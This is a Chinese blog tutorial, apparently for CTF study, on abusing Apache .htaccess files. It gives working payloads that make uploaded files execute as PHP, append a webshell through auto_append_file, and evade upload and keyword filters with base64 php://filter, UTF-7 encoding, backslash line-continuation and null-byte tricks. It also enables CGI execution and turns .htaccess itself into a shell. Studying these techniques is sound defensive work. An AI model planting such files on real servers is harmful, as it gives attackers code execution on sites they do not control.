学习利用.htaccess的bypass技巧

0xGeekCat · 2020-8-16 · 次阅读


前言

.htaccess文件是apache服务器的一种目录级别的修改配置的方式,可以用来配置当前目录及其所有子目录,常常被用于访问URL时重写路径

在此根据师傅原文所总结一下相关利用及bypass的方式进行复现学习

在ubuntu中/etc/apache2下有两个文件夹mods-enablemods-available,其中mods-enable里装的是apache已经被启用的模块,mods-available里装的是当前系统可用的模块

查看mods-enabled/php7.2.conf

<FilesMatch ".+\.ph(ar|p|tml)$"> 👈
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it's recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(ar|p|ps|tml)$">
    Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
# 
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

通过FilesMath匹配文件后缀,其默认配置是当匹配到pharphpphtml时,都将其作为php来执行,其中SetHandler就是设置解析方式

例如在1.phar中写入<?=phpinfo();

截屏2020-08-16 下午3.20.31

利用方式

SetHandler

👇编辑.htaccess

SetHandler application/x-httpd-php

此时当前目录及其子目录下所有文件都会被当做php解析

截屏2020-08-16 下午4.33.03

除此之外,可以将当前目录下文件都当做文本解析,这样便可获得文件源码

<FilesMatch "\.ph.*$">
SetHandler text/plain
</FilesMatch>

截屏2020-08-16 下午8.08.39

非预期事件:在使用firefox时出现一个非常神奇的情况,本人在关闭8080端口后,依然可以访问http://127.0.0.1:8080/index.php,在清除缓存后,问题得以解决

还可以通过设置server-status查看服务器状态信息以及访问站点的记录

server-status

Apache的日志如果靠分析日志或者查看服务器进程来监视Apache运行状态比较繁冗。在Apache 1.3.2及以后的版本中就自带一个查看Apache状态的功能模块server-status,这样查看apache的一些相应状态信息会很方便

SetHandler server-status

非预期事件:真的诡异的爆炸,本人在docker上测试,除了访问/server-status,访问其他任意不存在url都可以显示服务器状态,在ubuntu上则是正常的,于是移步至ubuntu进行试验

AddType

AddType可以对指定后缀文件以选定的文件类型解析

👇编辑.htaccess

AddType application/x-httpd-php .a

便会将以.a为后缀的文件解析为php

截屏2020-08-16 下午9.15.32

php_value

在学习此方法之前先了解点理论基础

截屏2020-08-16 下午9.25.24

❗️注意事项:php_value的使用条件是在PHP作为Apache模块;也就是说在Apache以FastCGI模式运行条件下,php_value失效,滥用会导致服务器报错

👇查看配置可被设定的范围

截屏2020-08-16 下午9.18.49

从上图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIRPHP_INI_ALL

👇学习如何利用php_value

截屏2020-08-16 下午9.27.20

接着查看php.ini配置选项列表,从中寻找可利用的配置项

  • auto_prepend_file:指定一个文件,在主文件解析之前自动解析
  • auto_append_file:指定一个文件,在主文件解析后自动解析

编辑.htaccess和webshell

# .htaccess
php_value auto_append_file /var/www/html/webshell 👈 绝对路径

# webshell
i am hacker

此时随便访问一个php文件

截屏2020-08-16 下午10.40.52

非预期事件:这使用绝对路径,如果按原文中的相对路径文件会包含失败;但其实大多情况相对路径就可以成功

通过设置这两个选项进行文件包含再结合相关的php协议流,可用来绕过对一些关键字的检测

修改配置绕过preg_match()

截屏2020-08-16 下午10.58.21

❗️php手册中英文关于pcre.backtrack_limitdefault值不一致

截屏2020-08-16 下午10.59.59

👇编辑.htaccess

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

截屏2020-08-16 下午11.13.58

CGI

根据之前学习的文章了解相关原理后,来学习一下如何通过调用特定的CGI程序来执行任意系统命令

利用条件

1.确保.htaccess会被解析

2.cgi_module被加载

3.有目录的上传、写入权限

👇.htaccess 文件

Options ExecCGI
AddHandler cgi-script .xx

Options ExecCGI表示允许CGI执行,apache会将xx后缀名的文件,当做CGI程序进行解析

FastCGI

方法同理

👇.htaccess 文件

Options +ExecCGI
AddHandler fcgid-script .abc

不过CGI与FastCGI方法仅为简单了解,以后再深入研究

其他

禁用拒绝规则,使.htaccess可访问

默认情况下,.htaccess不可访

👇编辑.htaccess文件,添加如下配置

<Files ~ ".htaccess">
    Require all granted
    Order deny,allow
    Allow from all
</Files>
  • Require all granted - 允许所有的请求
  • Order allow,deny - 中间逗号有空格都会出错;先检查禁止设定,没有禁止的全部允许;apache会按照order决定最后使用哪一条规则
  • Allow from all - 开放所有内容的访问权,所以ip都可以访问

截屏2020-08-16 下午11.38.22

使用.htaccess shell

👇.htaccess文件,首先设置了禁用拒绝规则;接着用SetHandler将所有文件作为php解析,最后写入php代码,开头用#注释掉,这样便可成功解析.htaccess然后解析php

<Files ~ ".htaccess">
    Require all granted
    Order deny,allow
    Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

截屏2020-08-16 下午11.42.47

Bypass方式

关键字检测

如果过滤了.htaccess常用关键字,此时可以使用反斜线来绕过对关键字的过滤,反斜线后需要加上换行符,并且反斜线前和关键字无空格

👇编辑.htaccess文件

AddT\
ype application/x-httpd-php .a

截屏2020-08-16 下午11.45.59

如果检测不能含有<?等php字符串,那么此时可先将shell字符串进行编码,然后在文件包含时通过php://filter解码

👇编辑.htaccess文件

AddType application/x-httpd-php .a
php_value auto_append_file php://filter/convert.base64-decode/resource=1.a

截屏2020-08-17 上午8.45.46

php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号过滤

截屏2020-08-17 上午8.49.25

👇编辑.htaccess和index.php

# .htaccess
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

# index.php
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

截屏2020-08-17 上午9.58.56

❗️注意事项:👆配置完成后php可以额外解析UTF-7编码的字符串,同时也不影响自身原本代码执行

<?php
echo 'hacker'."<hr>";
echo+ACA-'hello,+ACA-world'+ADs-
?>

截屏2020-08-24 下午12.28.29

非预期事件:这次测验真的特别奇怪,这次在ubuntu上一直无法复现成功,在docker中则可以

拼接无用字符串

可以使用#来注释后面拼接的多余内容,**#需要和前面的内容隔一个空格,并且只能注释一行内容**,可以使用反斜线来转义换行符,从而注释多行内容

👇.htaccess文件可以生效

AddT\
ype application/x-httpd-php .a #\
asdf\
asdf

截屏2020-08-17 上午10.05.13

除了#外,0x00也可以当注释符,使用write.php脚本写入.htaccess

<?php
$data = urldecode('AddType application/x-httpd-php .a%0a%00asdf');
file_put_contents('.htaccess', $data);

截屏2020-08-17 上午10.05.13

注意事项

这次复现中还是遇到一些神奇的问题的,比如docker环境中.htaccess写入即可生效,而ubuntu则需要对apache进行一些配置才可以

网上大多教程表示修改000-default.conf中的AllowOverride;但由于apache版本不同,方法不兼容

👇Ubuntu启用.htaccess

截屏2020-08-17 上午10.31.54

👇Mac启用.htaccess

LoadModule rewrite_module lib/httpd/modules/mod_rewrite.so
...
<Directory "/usr/local/var/www">
    Options Indexes FollowSymLinks
    AllowOverride All 👈 允许从写Apache配置
    Require all granted
</Directory>

还要注意的一点就是如果使用firefox浏览器遇到界面不变化的情况时八成清理浏览器缓存就可以解决

reference

.htaccess利用与Bypass方式总结

Apache的Order Allow,Deny 详解

如何在Ubuntu上的Apache中启用.htaccess

Apache中.htaccess文件利用的总结与新思路拓展

郑重感谢